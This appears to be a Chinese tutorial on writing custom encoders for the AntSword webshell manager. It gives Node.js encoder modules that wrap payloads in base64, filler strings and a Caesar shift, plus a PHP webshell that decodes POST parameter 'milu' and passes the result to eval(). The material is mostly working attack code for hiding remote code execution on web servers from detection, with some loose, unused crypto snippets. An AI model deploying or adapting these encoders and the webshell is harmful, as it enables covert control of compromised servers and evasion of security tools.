十分钟学会编写蚁剑编码器 | 魔改蚁剑之零基础编写解码器

$s=base64_decode(substr($_POST["cbe5f611c94175"],2));

/**
* php::base64编码器
* Create at: 2023/12/29 16:51:54
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
 // ########## 请在下方编写你自己的代码 ###################
 // 以下代码为 PHP Base64 样例

 // 生成一个随机变量名
 let randomID = `_0x${Math.random().toString(16).substr(2)}`;
 // 原有的 payload 在 data['_']中
 // 取出来之后，转为 base64 编码并放入 randomID key 下
 data[randomID] = Buffer.from(data['_']).toString('base64');

 // shell 在接收到 payload 后，先处理 pwd 参数下的内容，
 data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;

 // ########## 请在上方编写你自己的代码 ###################

 // 删除 _ 原有的payload
 delete data['_'];
 // 返回编码器处理后的 payload 数组
 return data;
}

var CryptoJS = require("crypto-js");
var message = "milu";
var key = "milu1234";
var encrypted = CryptoJS.AES.encrypt(message, key).toString();
console.log(encrypted); // 输出加密后的字符串

module.exports = (pwd, data, ext = {}) => {
 // 将原始 payload 转换为 base64 编码
 data[pwd] = Buffer.from(data['_']).toString('base64');

 // 在每8个字符后插入 "元旦快乐"
 let modifiedString = "";
 for (let i = 0; i < data[pwd].length; i++) {
   modifiedString += data[pwd][i];
   if ((i + 1) % 8 === 0) {
     modifiedString += "yuandankuaile";
   }
 }

 // 凯撒加密：每个字符后移三位
 let caesarEncoded = modifiedString.split('').map(c =>
   c.match(/[a-zA-Z]/) ?
   String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
   c
 ).join('');

 // 最后对整个字符串进行 base64 编码
 data[pwd] = Buffer.from(caesarEncoded).toString('base64');

 // 删除原有的 payload
 delete data['_'];

 // 返回处理后的数据
 return data;
};
对应的php代码


<?php

function decryptPayload($encodedData) {
   // Base64 解码
   $caesarEncoded = base64_decode($encodedData);

   // 凯撒解密：每个字符前移三位
   $caesarDecoded = '';
   foreach (str_split($caesarEncoded) as $char) {
       if (ctype_alpha($char)) {
           $offset = ctype_lower($char) ? 97 : 65;
           $caesarDecoded .= chr((ord($char) - $offset - 3 + 26) % 26 + $offset);
       } else {
           $caesarDecoded .= $char;
       }
   }

   // 移除 "元旦快乐"
   $base64Encoded = str_replace("yuandankuaile", "", $caesarDecoded);

   // Base64 解码以还原原始数据
   $originalData = base64_decode($base64Encoded);

   return $originalData;
}

// 从 POST 请求中获取加密数据
$encryptedData = isset($_POST['milu']) ? $_POST['milu'] : '';
if (!empty($encryptedData)) {
   $decryptedData = decryptPayload($encryptedData);
   eval($decryptedData);
} else {
   echo "没有接收到数据";
}

?>

'use strict';

module.exports = (pwd, data, ext = {}) => {
 let ret = {};

 // 生成随机的两位字符的函数
 function generateRandomChars(length) {
   let result = '';
   let characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
   let charactersLength = characters.length;
   for (let i = 0; i < length; i++) {
     result += characters.charAt(Math.floor(Math.random() * charactersLength));
   }
   return result;
 }

 // 遍历 data 对象，除了 '_' 键之外的每个键进行 Base64 编码
 for (let key in data) {
   if (key === '_') { continue; }

   // 对 data[key] 的值进行 Base64 编码
   let base64Encoded = Buffer.from(data[key]).toString('base64');

   // 在每三个字符后插入随机的两位字符
   let modifiedStringForKey = "";
   for (let i = 0, len = base64Encoded.length; i < len; i += 3) {
     modifiedStringForKey += base64Encoded.substring(i, i + 3);
     if (i + 3 < len) { // 避免在字符串末尾添加
       modifiedStringForKey += generateRandomChars(2);
     }
   }

   // 保存修改后的字符串
   ret[key] = modifiedStringForKey;
 }

 // 对 data['_'] 的值进行特殊处理
 if (data['_']) {
   // 首先将 data['_'] 转换为 Base64 编码
   let base64Encoded = Buffer.from(data['_']).toString('base64');

   // 在每8个字符后插入 "yuandankuaile"
   let modifiedString = "";
   for (let i = 0; i < base64Encoded.length; i++) {
     modifiedString += base64Encoded[i];
     if ((i + 1) % 8 === 0) {
       modifiedString += "yuandankuaile";
     }
   }

   // 对修改后的字符串进行凯撒加密，每个字符后移三位
   let caesarEncoded = modifiedString.split('').map(c =>
     c.match(/[a-zA-Z]/) ?
     String.fromCharCode((c.charCodeAt(0) - (c.charCodeAt(0) >= 97 ? 97 : 65) + 3) % 26 + (c.charCodeAt(0) >= 97 ? 97 : 65)) :
     c
   ).join('');

   // 再次对整个字符串进行 Base64 编码
   data[pwd] = Buffer.from(caesarEncoded).toString('base64');
 }

 // 删除原有的 payload
 delete data['_'];

 // 将 ret 对象中的内容合并到 data 中
 Object.assign(data, ret);

 // 返回处理后的数据
 return data;
};

const keySource = 'milu';
const hash = crypto.createHash('sha256');
hash.update(keySource);
const key = hash.digest('hex'); // 使用 'hex' 以获取十六进制字符串形式的哈希值